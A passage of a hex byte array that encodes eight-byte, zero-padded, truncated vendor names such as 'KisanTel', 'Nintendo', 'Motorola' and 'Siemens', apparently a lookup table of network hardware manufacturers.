0x26, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x63, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x69, 0x73, 0x61, 0x6e, 0x54, 0x65, 0x6c,\r\n0x33, 0x6a, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x45, 0x6e, 0x74, 0x69, 0x73, 0x65, 0x00, 0x00,\r\n0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6d,\r\n0x4d, 0x61, 0x6b, 0x75, 0x49, 0x6e, 0x66, 0x6f,\r\n0x4d, 0x61, 0x74, 0x68, 0x73, 0x74, 0x61, 0x72,\r\n0x55, 0x74, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x00,\r\n0x45, 0x70, 0x79, 0x67, 0x69, 0x54, 0x65, 0x63,\r\n0x4d, 0x61, 0x6d, 0x69, 0x79, 0x61, 0x2d, 0x4f,\r\n0x4e, 0x69, 0x6e, 0x74, 0x65, 0x6e, 0x64, 0x6f,\r\n0x36, 0x77, 0x69, 0x6e, 0x64, 0x00, 0x00, 0x00,\r\n0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x2d, 0x44,\r\n0x4f, 0x6e, 0x69, 0x74, 0x79, 0x00, 0x00, 0x00,\r\n0x4e, 0x65, 0x74, 0x61, 0x73, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x64, 0x69, 0x63, 0x6f, 0x72, 0x65,\r\n0x4b, 0x69, 0x6e, 0x67, 0x65, 0x6e, 0x65, 0x54,\r\n0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x63,\r\n0x4d, 0x6f, 0x76, 0x69, 0x73, 0x74, 0x65, 0x63,\r\n0x53, 0x69, 0x6e, 0x61, 0x67, 0x61, 0x77, 0x61,\r\n0x42, 0x6c, 0x75, 0x65, 0x77, 0x69, 0x6e, 0x63,\r\n0x49, 0x6d, 0x61, 0x78, 0x6e, 0x65, 0x74, 0x77,\r\n0x48, 0x62, 0x72, 0x61, 0x69, 0x6e, 0x00, 0x00,\r\n0x4d, 0x6f, 0x6f, 0x67, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x75, 0x64, 0x73, 0x6f, 0x6e, 0x53, 0x6f,\r\n0x53, 0x70, 0x61, 0x63, 0x65, 0x62, 0x72, 0x69,\r\n0x49, 0x61, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x6f, 0x6c, 0x61, 0x63, 0x6f, 0x6d, 0x54,\r\n0x53, 0x65, 0x72, 0x61, 0x6e, 0x6f, 0x61, 0x4e,\r\n0x4d, 0x61, 0x69, 0x4c, 0x6f, 0x67, 0x69, 0x63,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x74, 0x65, 0x63,\r\n0x4b, 0x6e, 0x63, 0x4f, 0x6e, 0x65, 0x00, 0x00,\r\n0x44, 0x63, 0x53, 0x65, 0x63, 0x75, 0x72, 0x69,\r\n0x46, 0x6c, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x00,\r\n0x4e, 0x65, 0x6f, 0x73, 0x63, 0x61, 0x6c, 0x65,\r\n0x45, 0x73, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00,\r\n0x47, 0x61, 0x6c, 0x61, 0x78, 0x69, 0x73, 0x54,\r\n0x4d, 0x61, 0x76, 0x69, 0x6e, 0x54, 0x65, 0x63,\r\n0x53, 0x61, 0x6d, 0x6a, 0x69, 0x6e, 0x49, 0x6e,\r\n0x56, 0x65, 0x73, 0x74, 0x65, 0x6c, 0x45, 0x6c,\r\n0x58, 0x65, 0x6d, 0x69, 0x63, 0x73, 0x53, 0x41,\r\n0x47, 0x65, 0x6d, 0x74, 0x65, 0x6b, 0x54, 0x65,\r\n0x53, 0x69, 0x6e, 0x62, 0x6f, 0x6e, 0x45, 0x6c,\r\n0x41, 0x6e, 0x67, 0x65, 0x6c, 0x49, 0x67, 0x6c,\r\n0x4b, 0x54, 0x65, 0x63, 0x68, 0x49, 0x6e, 0x66,\r\n0x48, 0x6f, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x65,\r\n0x43, 0x79, 0x62, 0x65, 0x72, 0x53, 0x77, 0x69,\r\n0x41, 0x64, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6f,\r\n0x59, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x75, 0x6d, 0x61, 0x6e, 0x64, 0x61, 0x74,\r\n0x44, 0x61, 0x6b, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x43, 0x69, 0x70, 0x68, 0x65, 0x72, 0x6f, 0x70,\r\n0x4d, 0x65, 0x69, 0x6b, 0x79, 0x6f, 0x45, 0x6c,\r\n0x56, 0x6f, 0x63, 0x65, 0x72, 0x61, 0x43, 0x6f,\r\n0x53, 0x68, 0x69, 0x6d, 0x69, 0x7a, 0x75, 0x54,\r\n0x59, 0x61, 0x6d, 0x61, 0x6b, 0x69, 0x45, 0x6c,\r\n0x43, 0x6f, 0x68, 0x75, 0x45, 0x6c, 0x65, 0x63,\r\n0x57, 0x65, 0x6c, 0x6c, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x41, 0x6c, 0x63, 0x6f, 0x6e, 0x4c, 0x61, 0x62,\r\n0x45, 0x6d, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x4e,\r\n0x53, 0x65, 0x64, 0x41, 0x44, 0x69, 0x76, 0x69,\r\n0x55, 0x6e, 0x69, 0x6d, 0x6f, 0x54, 0x65, 0x63,\r\n0x41, 0x72, 0x74, 0x4a, 0x61, 0x70, 0x61, 0x6e,\r\n0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x50,\r\n0x49, 0x70, 0x66, 0x6c, 0x65, 0x78, 0x00, 0x00,\r\n0x55, 0x62, 0x69, 0x6e, 0x65, 0x74, 0x69, 0x63,\r\n0x44, 0x61, 0x69, 0x73, 0x79, 0x54, 0x65, 0x63,\r\n0x58, 0x4e, 0x65, 0x74, 0x32, 0x30, 0x30, 0x30,\r\n0x4d, 0x65, 0x64, 0x69, 0x61, 0x74, 0x65, 0x6b,\r\n0x53, 0x6f, 0x68, 0x6f, 0x77, 0x61, 0x72, 0x65,\r\n0x41, 0x6e, 0x6e, 0x73, 0x6f, 0x00, 0x00, 0x00,\r\n0x45, 0x6e, 0x64, 0x65, 0x73, 0x61, 0x53, 0x65,\r\n0x57, 0x69, 0x64, 0x61, 0x78, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x64, 0x65, 0x78, 0x4c,\r\n0x57, 0x65, 0x62, 0x77, 0x61, 0x79, 0x6f, 0x6e,\r\n0x41, 0x6c, 0x70, 0x69, 0x6e, 0x65, 0x45, 0x6c,\r\n0x54, 0x61, 0x72, 0x61, 0x63, 0x6f, 0x6d, 0x49,\r\n0x53, 0x75, 0x6e, 0x69, 0x78, 0x00, 0x00, 0x00,\r\n0x53, 0x65, 0x61, 0x6c, 0x65, 0x76, 0x65, 0x6c,\r\n0x46, 0x63, 0x69, 0x44, 0x65, 0x75, 0x74, 0x73,\r\n0x49, 0x6e, 0x76, 0x69, 0x76, 0x6f, 0x52, 0x65,\r\n0x49, 0x6c, 0x72, 0x79, 0x75, 0x6e, 0x67, 0x54,\r\n0x46, 0x61, 0x73, 0x74, 0x4d, 0x65, 0x64, 0x69,\r\n0x45, 0x78, 0x70, 0x65, 0x74, 0x54, 0x65, 0x63,\r\n0x41, 0x7a, 0x79, 0x6c, 0x65, 0x78, 0x54, 0x65,\r\n0x54, 0x65, 0x63, 0x6f, 0x41, 0x53, 0x00, 0x00,\r\n0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x44,\r\n0x4c, 0x61, 0x73, 0x73, 0x65, 0x6e, 0x52, 0x65,\r\n0x4e, 0x65, 0x73, 0x74, 0x61, 0x72, 0x43, 0x6f,\r\n0x56, 0x69, 0x63, 0x68, 0x65, 0x6c, 0x00, 0x00,\r\n0x56, 0x61, 0x6c, 0x65, 0x72, 0x65, 0x50, 0x6f,\r\n0x49, 0x6d, 0x65, 0x72, 0x67, 0x65, 0x00, 0x00,\r\n0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x4c, 0x61,\r\n0x4f, 0x70, 0x74, 0x69, 0x63, 0x61, 0x6c, 0x43,\r\n0x52, 0x65, 0x64, 0x2d, 0x4d, 0x50, 0x72, 0x6f,\r\n0x41, 0x72, 0x74, 0x57, 0x61, 0x72, 0x65, 0x54,\r\n0x53, 0x76, 0x61, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x61, 0x54,\r\n0x41, 0x6d, 0x70, 0x65, 0x72, 0x69, 0x6f, 0x6e,\r\n0x50, 0x61, 0x72, 0x61, 0x6d, 0x61, 0x4e, 0x65,\r\n0x4f, 0x63, 0x74, 0x61, 0x76, 0x65, 0x43, 0x6f,\r\n0x43, 0x65, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x4e,\r\n0x43, 0x65, 0x69, 0x61, 0x53, 0x50, 0x41, 0x00,\r\n0x4d, 0x6f, 0x74, 0x6f, 0x72, 0x6f, 0x6c, 0x61,\r\n0x50, 0x61, 0x6e, 0x44, 0x61, 0x63, 0x6f, 0x6d,\r\n0x45, 0x74, 0x68, 0x65, 0x72, 0x73, 0x74, 0x75,\r\n0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x63,\r\n0x43, 0x61, 0x62, 0x6f, 0x74, 0x43, 0x6f, 0x6d,\r\n0x4d, 0x61, 0x70, 0x6c, 0x65, 0x4e, 0x65, 0x74,\r\n0x41, 0x72, 0x74, 0x6e, 0x69, 0x78, 0x00, 0x00,\r\n0x48, 0x63, 0x76, 0x43, 0x6f, 0x6e, 0x73, 0x75,\r\n0x58, 0x73, 0x69, 0x64, 0x6f, 0x00, 0x00, 0x00,\r\n0x45, 0x6d, 0x75, 0x6c, 0x65, 0x78, 0x00, 0x00,\r\n0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61,\r\n0x58, 0x69, 0x6c, 0x69, 0x6e, 0x78, 0x00, 0x00,\r\n0x53, 0x79, 0x6e, 0x65, 0x6c, 0x65, 0x63, 0x54,\r\n0x50, 0x72, 0x6f, 0x63, 0x65, 0x72, 0x61, 0x4e,\r\n0x41, 0x70, 0x61, 0x6e, 0x69, 0x4e, 0x65, 0x74,\r\n0x4c, 0x6f, 0x70, 0x61, 0x49, 0x6e, 0x66, 0x6f,\r\n0x4a, 0x2d, 0x54, 0x68, 0x72, 0x65, 0x65, 0x49,\r\n0x47, 0x63, 0x74, 0x53, 0x65, 0x6d, 0x69, 0x63,\r\n0x45, 0x6e, 0x65, 0x72, 0x70, 0x6f, 0x69, 0x6e,\r\n0x45, 0x6c, 0x6f, 0x53, 0x69, 0x73, 0x74, 0x65,\r\n0x45, 0x61, 0x64, 0x73, 0x54, 0x65, 0x6c, 0x65,\r\n0x44, 0x61, 0x74, 0x61, 0x45, 0x61, 0x73, 0x74,\r\n0x43, 0x72, 0x6f, 0x77, 0x6e, 0x41, 0x75, 0x64,\r\n0x43, 0x68, 0x75, 0x6e, 0x67, 0x68, 0x77, 0x61,\r\n0x41, 0x76, 0x65, 0x72, 0x79, 0x44, 0x65, 0x6e,\r\n0x41, 0x75, 0x64, 0x69, 0x6f, 0x2d, 0x54, 0x65,\r\n0x41, 0x72, 0x6f, 0x57, 0x65, 0x6c, 0x64, 0x69,\r\n0x41, 0x6c, 0x6c, 0x69, 0x65, 0x64, 0x56, 0x69,\r\n0x41, 0x6c, 0x62, 0x61, 0x74, 0x72, 0x6f, 0x6e,\r\n0x54, 0x61, 0x72, 0x67, 0x61, 0x00, 0x00, 0x00,\r\n0x44, 0x61, 0x74, 0x61, 0x70, 0x6f, 0x77, 0x65,\r\n0x4d, 0x6f, 0x6c, 0x65, 0x63, 0x75, 0x6c, 0x61,\r\n0x4e, 0x6f, 0x72, 0x69, 0x74, 0x7a, 0x00, 0x00,\r\n0x55, 0x6e, 0x69, 0x74, 0x65, 0x6b, 0x45, 0x6c,\r\n0x42, 0x72, 0x61, 0x69, 0x6e, 0x42, 0x6f, 0x78,\r\n0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x6b, 0x00,\r\n0x47, 0x79, 0x72, 0x6f, 0x73, 0x69, 0x67, 0x6e,\r\n0x41, 0x73, 0x69, 0x61, 0x72, 0x66, 0x00, 0x00,\r\n0x49, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x63,\r\n0x4c, 0x61, 0x67, 0x75, 0x6e, 0x61, 0x48, 0x69,\r\n0x4d, 0x61, 0x72, 0x6b, 0x65, 0x6d, 0x00, 0x00,\r\n0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x4d,\r\n0x46, 0x72, 0x65, 0x79, 0x65, 0x72, 0x53, 0x69,\r\n0x48, 0x77, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x6e, 0x65, 0x74,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x2d, 0x4f, 0x6e,\r\n0x43, 0x61, 0x72, 0x65, 0x6c, 0x53, 0x50, 0x41,\r\n0x46, 0x69, 0x6e, 0x67, 0x65, 0x72, 0x74, 0x65,\r\n0x41, 0x6c, 0x6d, 0x65, 0x64, 0x69, 0x6f, 0x00,\r\n0x41, 0x75, 0x74, 0x6f, 0x73, 0x74, 0x61, 0x72,\r\n0x43, 0x65, 0x6c, 0x6c, 0x69, 0x6e, 0x78, 0x00,\r\n0x43, 0x72, 0x69, 0x6e, 0x69, 0x73, 0x4e, 0x65,\r\n0x44, 0x68, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x72, 0x61, 0x63, 0x6f, 0x6d, 0x54, 0x65,\r\n0x47, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x6d,\r\n0x4f, 0x6e, 0x67, 0x63, 0x6f, 0x72, 0x70, 0x00,\r\n0x53, 0x6f, 0x6c, 0x61, 0x72, 0x66, 0x6c, 0x61,\r\n0x53, 0x75, 0x6e, 0x6e, 0x79, 0x42, 0x65, 0x6c,\r\n0x53, 0x76, 0x6d, 0x4d, 0x69, 0x63, 0x72, 0x6f,\r\n0x54, 0x61, 0x64, 0x69, 0x72, 0x61, 0x6e, 0x54,\r\n0x57, 0x61, 0x6c, 0x63, 0x68, 0x65, 0x6d, 0x00,\r\n0x45, 0x6b, 0x73, 0x45, 0x6c, 0x65, 0x6b, 0x74,\r\n0x48, 0x61, 0x72, 0x6d, 0x6f, 0x6e, 0x69, 0x63,\r\n0x5a, 0x79, 0x66, 0x6c, 0x65, 0x78, 0x54, 0x65,\r\n0x4d, 0x70, 0x6c, 0x73, 0x46, 0x6f, 0x72, 0x75,\r\n0x41, 0x76, 0x72, 0x69, 0x6f, 0x54, 0x65, 0x63,\r\n0x53, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x6e, 0x74, 0x69, 0x63, 0x6f, 0x6d,\r\n0x43, 0x61, 0x74, 0x65, 0x72, 0x70, 0x69, 0x6c,\r\n0x42, 0x65, 0x69, 0x64, 0x61, 0x4a, 0x61, 0x64,\r\n0x42, 0x6c, 0x75, 0x65, 0x77, 0x69, 0x72, 0x65,\r\n0x4f, 0x6c, 0x69, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x43, 0x6f, 0x72, 0x65, 0x67, 0x61, 0x4b, 0x4b,\r\n0x4b, 0x79, 0x6f, 0x72, 0x69, 0x74, 0x73, 0x75,\r\n0x43, 0x6f, 0x72, 0x6e, 0x65, 0x6c, 0x69, 0x75,\r\n0x54, 0x65, 0x63, 0x74, 0x6f, 0x6e, 0x00, 0x00,\r\n0x56, 0x61, 0x6c, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x64, 0x76, 0x61, 0x6e, 0x74, 0x61, 0x67,\r\n0x54, 0x65, 0x72, 0x61, 0x64, 0x6f, 0x6e, 0x49,\r\n0x54, 0x65, 0x6c, 0x6b, 0x6f, 0x6e, 0x65, 0x74,\r\n0x54, 0x65, 0x69, 0x6d, 0x61, 0x41, 0x75, 0x64,\r\n0x54, 0x61, 0x74, 0x73, 0x75, 0x74, 0x61, 0x53,\r\n0x53, 0x61, 0x6c, 0x74, 0x6f, 0x53, 0x4c, 0x00,\r\n0x52, 0x61, 0x69, 0x6e, 0x73, 0x75, 0x6e, 0x45,\r\n0x50, 0x6c, 0x61, 0x74, 0x43, 0x32, 0x00, 0x00,\r\n0x4c, 0x65, 0x6e, 0x7a, 0x65, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x63, 0x79, 0x70, 0x68, 0x65, 0x72,\r\n0x43, 0x72, 0x65, 0x76, 0x61, 0x6c, 0x00, 0x00,\r\n0x47, 0x75, 0x61, 0x72, 0x64, 0x77, 0x61, 0x72,\r\n0x49, 0x6e, 0x76, 0x61, 0x63, 0x6f, 0x6d, 0x00,\r\n0x41, 0x73, 0x6b, 0x61, 0x49, 0x6e, 0x74, 0x65,\r\n0x42, 0x61, 0x79, 0x73, 0x69, 0x64, 0x65, 0x49,\r\n0x48, 0x65, 0x6d, 0x6f, 0x63, 0x75, 0x65, 0x00,\r\n0x50, 0x72, 0x65, 0x73, 0x6f, 0x6e, 0x75, 0x73,\r\n0x57, 0x32, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72,\r\n0x4d, 0x65, 0x77, 0x74, 0x65, 0x6c, 0x54, 0x65,\r\n0x53, 0x6f, 0x6e, 0x69, 0x63, 0x62, 0x6c, 0x75,\r\n0x4d, 0x2b, 0x46, 0x47, 0x77, 0x69, 0x6e, 0x6e,\r\n0x43, 0x61, 0x6c, 0x61, 0x6d, 0x70, 0x57, 0x69,\r\n0x41, 0x69, 0x70, 0x74, 0x65, 0x6b, 0x49, 0x6e,\r\n0x54, 0x62, 0x47, 0x72, 0x6f, 0x75, 0x70, 0x00,\r\n0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x65,\r\n0x4b, 0x69, 0x6e, 0x67, 0x59, 0x6f, 0x75, 0x6e,\r\n0x42, 0x72, 0x6f, 0x61, 0x64, 0x77, 0x65, 0x62,\r\n0x50, 0x61, 0x6e, 0x6e, 0x61, 0x77, 0x61, 0x79,\r\n0x43, 0x65, 0x64, 0x61, 0x72, 0x50, 0x6f, 0x69,\r\n0x56, 0x56, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x79, 0x73, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x53, 0x68, 0x69, 0x6d, 0x61, 0x66, 0x75, 0x6a,\r\n0x4d, 0x61, 0x78, 0x6c, 0x69, 0x6e, 0x6b, 0x49,\r\n0x48, 0x6f, 0x63, 0x68, 0x69, 0x6b, 0x69, 0x00,\r\n0x46, 0x65, 0x69, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x45, 0x70, 0x69, 0x70, 0x65, 0x50, 0x74, 0x79,\r\n0x42, 0x72, 0x6f, 0x6f, 0x6b, 0x73, 0x41, 0x75,\r\n0x41, 0x6c, 0x74, 0x69, 0x67, 0x65, 0x6e, 0x43,\r\n0x54, 0x6f, 0x79, 0x6f, 0x74, 0x61, 0x54, 0x65,\r\n0x54, 0x65, 0x72, 0x72, 0x61, 0x74, 0x65, 0x63,\r\n0x53, 0x74, 0x61, 0x72, 0x67, 0x61, 0x6d, 0x65,\r\n0x50, 0x69, 0x70, 0x61, 0x6c, 0x00, 0x00, 0x00,\r\n0x4c, 0x6f, 0x79, 0x74, 0x65, 0x63, 0x45, 0x6c,\r\n0x47, 0x65, 0x6e, 0x65, 0x74, 0x65, 0x63, 0x00,\r\n0x46, 0x72, 0x65, 0x73, 0x6e, 0x65, 0x6c, 0x57,\r\n0x46, 0x61, 0x47, 0x69, 0x72, 0x61, 0x00, 0x00,\r\n0x45, 0x74, 0x69, 0x63, 0x54, 0x65, 0x6c, 0x65,\r\n0x43, 0x6f, 0x6d, 0x70, 0x75, 0x6e, 0x65, 0x74,\r\n0x41, 0x73, 0x74, 0x65, 0x72, 0x61, 0x54, 0x65,\r\n0x41, 0x72, 0x63, 0x6f, 0x6e, 0x54, 0x65, 0x63,\r\n0x54, 0x61, 0x69, 0x77, 0x61, 0x6e, 0x53, 0x65,\r\n0x53, 0x65, 0x61, 0x62, 0x72, 0x69, 0x64, 0x67,\r\n0x52, 0x75, 0x70, 0x70, 0x72, 0x65, 0x63, 0x68,\r\n0x4f, 0x70, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63,\r\n0x48, 0x69, 0x72, 0x6f, 0x74, 0x61, 0x53, 0x73,\r\n0x46, 0x75, 0x79, 0x6f, 0x68, 0x56, 0x69, 0x64,\r\n0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x74, 0x65,\r\n0x57, 0x75, 0x68, 0x61, 0x6e, 0x46, 0x69, 0x62,\r\n0x45, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x69,\r\n0x44, 0x61, 0x65, 0x77, 0x6f, 0x6f, 0x54, 0x65,\r\n0x43, 0x6f, 0x6c, 0x6f, 0x72, 0x4b, 0x69, 0x6e,\r\n0x55, 0x6e, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f,\r\n0x5a, 0x70, 0x73, 0x79, 0x73, 0x50, 0x6c, 0x61,\r\n0x5a, 0x61, 0x6d, 0x62, 0x65, 0x65, 0x6c, 0x00,\r\n0x59, 0x6f, 0x6b, 0x6f, 0x79, 0x61, 0x6d, 0x61,\r\n0x58, 0x70, 0x61, 0x6b, 0x4d, 0x73, 0x61, 0x47,\r\n0x57, 0x69, 0x6e, 0x6e, 0x6f, 0x77, 0x4e, 0x65,\r\n0x53, 0x75, 0x6e, 0x72, 0x69, 0x63, 0x68, 0x54,\r\n0x52, 0x61, 0x64, 0x69, 0x61, 0x6e, 0x74, 0x65,\r\n0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x6f,\r\n0x4e, 0x69, 0x69, 0x67, 0x61, 0x74, 0x61, 0x44,\r\n0x4d, 0x77, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4a, 0x65, 0x70, 0x69, 0x63, 0x6f, 0x00, 0x00,\r\n0x49, 0x6e, 0x69, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x43, 0x6f, 0x72, 0x65, 0x62, 0x65, 0x6c, 0x6c,\r\n0x42, 0x72, 0x61, 0x69, 0x6e, 0x63, 0x68, 0x69,\r\n0x42, 0x65, 0x61, 0x6d, 0x72, 0x65, 0x61, 0x63,\r\n0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x45, 0x6c,\r\n0x49, 0x70, 0x63, 0x73, 0x65, 0x72, 0x76, 0x54,\r\n0x53, 0x6f, 0x6e, 0x79, 0x4d, 0x6f, 0x62, 0x69,\r\n0x56, 0x69, 0x6e, 0x64, 0x69, 0x63, 0x61, 0x74,\r\n0x54, 0x72, 0x69, 0x6c, 0x6c, 0x69, 0x61, 0x6e,\r\n0x52, 0x75, 0x67, 0x67, 0x65, 0x64, 0x63, 0x6f,\r\n0x41, 0x6c, 0x6c, 0x77, 0x6f, 0x72, 0x78, 0x00,\r\n0x48, 0x61, 0x70, 0x70, 0x79, 0x43, 0x6f, 0x6d,\r\n0x47, 0x65, 0x6e, 0x6e, 0x75, 0x6d, 0x00, 0x00,\r\n0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x53,\r\n0x45, 0x67, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x42, 0x69, 0x6e, 0x61, 0x74, 0x6f, 0x6e, 0x65,\r\n0x59, 0x61, 0x6e, 0x67, 0x4d, 0x65, 0x69, 0x54,\r\n0x57, 0x69, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x00,\r\n0x53, 0x63, 0x6f, 0x74, 0x74, 0x63, 0x61, 0x72,\r\n0x45, 0x6c, 0x69, 0x6f, 0x70, 0x53, 0x41, 0x00,\r\n0x43, 0x61, 0x74, 0x68, 0x61, 0x79, 0x52, 0x6f,\r\n0x41, 0x69, 0x72, 0x76, 0x61, 0x73, 0x74, 0x54,\r\n0x41, 0x64, 0x61, 0x6d, 0x45, 0x6c, 0x65, 0x6b,\r\n0x54, 0x70, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x54,\r\n0x4b, 0x6f, 0x61, 0x74, 0x73, 0x75, 0x47, 0x61,\r\n0x48, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x67, 0x45,\r\n0x47, 0x63, 0x64, 0x48, 0x61, 0x72, 0x64, 0x2d,\r\n0x4f, 0x74, 0x72, 0x75, 0x6d, 0x41, 0x73, 0x61,\r\n0x53, 0x68, 0x69, 0x6e, 0x2d, 0x4f, 0x68, 0x45,\r\n0x43, 0x6c, 0x61, 0x72, 0x69, 0x74, 0x79, 0x44,\r\n0x4e, 0x65, 0x6f, 0x61, 0x78, 0x69, 0x6f, 0x6d,\r\n0x41, 0x69, 0x72, 0x67, 0x6f, 0x4e, 0x65, 0x74,\r\n0x45, 0x6d, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x43,\r\n0x48, 0x69, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63,\r\n0x54, 0x72, 0x61, 0x76, 0x65, 0x72, 0x73, 0x65,\r\n0x41, 0x6d, 0x62, 0x72, 0x69, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x72, 0x65, 0x54, 0x65, 0x63, 0x43,\r\n0x4b, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x45, 0x6c,\r\n0x4e, 0x6f, 0x76, 0x61, 0x70, 0x61, 0x6c, 0x00,\r\n0x4b, 0x69, 0x6c, 0x63, 0x68, 0x68, 0x65, 0x72,\r\n0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x53, 0x74,\r\n0x44, 0x61, 0x69, 0x69, 0x63, 0x68, 0x69, 0x45,\r\n0x44, 0x61, 0x6c, 0x6c, 0x6d, 0x65, 0x69, 0x65,\r\n0x54, 0x61, 0x65, 0x6b, 0x77, 0x61, 0x6e, 0x67,\r\n0x56, 0x6f, 0x6c, 0x6b, 0x74, 0x65, 0x6b, 0x00,\r\n0x56, 0x6f, 0x78, 0x70, 0x61, 0x74, 0x68, 0x4e,\r\n0x50, 0x69, 0x6c, 0x6c, 0x61, 0x72, 0x44, 0x61,\r\n0x49, 0x66, 0x6f, 0x75, 0x6e, 0x64, 0x72, 0x79,\r\n0x44, 0x62, 0x6d, 0x4f, 0x70, 0x74, 0x69, 0x63,\r\n0x43, 0x6f, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00,\r\n0x41, 0x67, 0x69, 0x6c, 0x65, 0x00, 0x00, 0x00,\r\n0x41, 0x69, 0x72, 0x32, 0x75, 0x00, 0x00, 0x00,\r\n0x54, 0x72, 0x61, 0x70, 0x65, 0x7a, 0x65, 0x4e,\r\n0x42, 0x6f, 0x73, 0x63, 0x68, 0x52, 0x65, 0x78,\r\n0x31, 0x31, 0x77, 0x61, 0x76, 0x65, 0x54, 0x65,\r\n0x48, 0x69, 0x6d, 0x65, 0x6a, 0x69, 0x41, 0x62,\r\n0x4e, 0x75, 0x72, 0x69, 0x54, 0x65, 0x6c, 0x65,\r\n0x5a, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x00, 0x00,\r\n0x56, 0x69, 0x65, 0x77, 0x73, 0x6f, 0x6e, 0x69,\r\n0x50, 0x6c, 0x61, 0x74, 0x79, 0x70, 0x75, 0x73,\r\n0x4d, 0x6b, 0x73, 0x49, 0x6e, 0x73, 0x74, 0x72,\r\n0x56, 0x65, 0x72, 0x6e, 0x69, 0x65, 0x72, 0x4e,\r\n0x49, 0x6e, 0x64, 0x75, 0x73, 0x74, 0x72, 0x69,\r\n0x53, 0x79, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x53, 0x69, 0x62, 0x63, 0x6f, 0x42, 0x76, 0x00,\r\n0x4c, 0x61, 0x79, 0x65, 0x72, 0x7a, 0x65, 0x72,\r\n0x4b, 0x61, 0x70, 0x70, 0x61, 0x4f, 0x70, 0x74,\r\n0x49, 0x43, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x70,\r\n0x48, 0x69, 0x72, 0x61, 0x74, 0x61, 0x00, 0x00,\r\n0x47, 0x2d, 0x53, 0x74, 0x61, 0x72, 0x43, 0x6f,\r\n0x45, 0x6e, 0x76, 0x69, 0x72, 0x6f, 0x6e, 0x6d,\r\n0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x53,\r\n0x41, 0x69, 0x72, 0x6c, 0x6f, 0x67, 0x69, 0x63,\r\n0x41, 0x65, 0x6c, 0x75, 0x72, 0x6f, 0x73, 0x00,\r\n0x57, 0x65, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00,\r\n0x53, 0x63, 0x69, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x51, 0x75, 0x61, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x4c, 0x73, 0x4c, 0x67, 0x49, 0x6e, 0x64, 0x75,\r\n0x48, 0x6f, 0x77, 0x74, 0x65, 0x6c, 0x00, 0x00,\r\n0x48, 0x6f, 0x73, 0x74, 0x6e, 0x65, 0x74, 0x00,\r\n0x45, 0x69, 0x6b, 